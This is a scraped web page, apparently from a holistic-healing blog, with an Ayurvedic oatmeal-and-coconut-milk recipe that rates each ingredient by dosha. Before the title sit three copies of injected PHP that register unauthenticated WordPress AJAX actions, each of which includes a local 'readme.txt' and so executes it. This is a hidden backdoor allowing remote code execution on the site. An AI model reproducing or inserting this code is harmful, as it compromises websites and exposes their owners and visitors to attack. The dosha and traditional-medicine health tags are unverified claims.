if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Oatmeal Cereal for the Beginning of Fall | Holistic Healing Resolutions by Asaf Feit

Oatmeal Cereal for the Beginning of Fall

by | Breakfast, Cold & Oliy, Decrease Pitta, Decrease Vata, Decrease Vata-Pitta, Dinner, Easy to Digest, Fall, Heart Yin Deficiency, Kidney Yin Deficiency, Late Summer, Liver Blood Deficiency, Liver Dry Stagnation, Liver fire, Lubricating, Lung Yin Deficiency, Milk, Nourishing, Oats, Recipes, Stimulating | 0 comments

Oatmeal Cereal for the Beginning of Fall

Print Recipe Pin Recipe
Prep Time 5 minutes
Cook Time 15 minutes
Total Time 20 minutes
Course Breakfast, Dinner
Servings 1

Ingredients
  

  • 1/3 cup rolled oats Vata - - Pitta 0 Kapha +
  • 1 cup water Vata 0 Pitta - Kapha +
  • 1/2 cup coconut milk Vata - Pitta - - Kapha ++
  • 1 tsp. coconut oil Vata - Pitta - - Kapha ++
  • 1 tsp. coconut flakes slightly roasted (Vata - Pitta - Kapha +)
  • 2 Tbs. almonds peeled and slightly roasted (Vata - - Pitta - - Kapha +)
  • Pinch cardamom ground (Vata - Pitta - Kapha -)
  • 1 tsp. date syrup Vata - Pitta - - Kapha ++

Instructions
 

  • Put the oats in a small saucepan, add the water and milk and bring to boil.
  • Add the coconut oil, lower the flame and cook until soft but not too dry.
  • Serve in a bowl, sprinkle with cardamom and top with coconut flakes, roasted almonds and date syrup.

Notes

Optional additions: For Vata & Pitta: add to the cooking a handful of black raisins.

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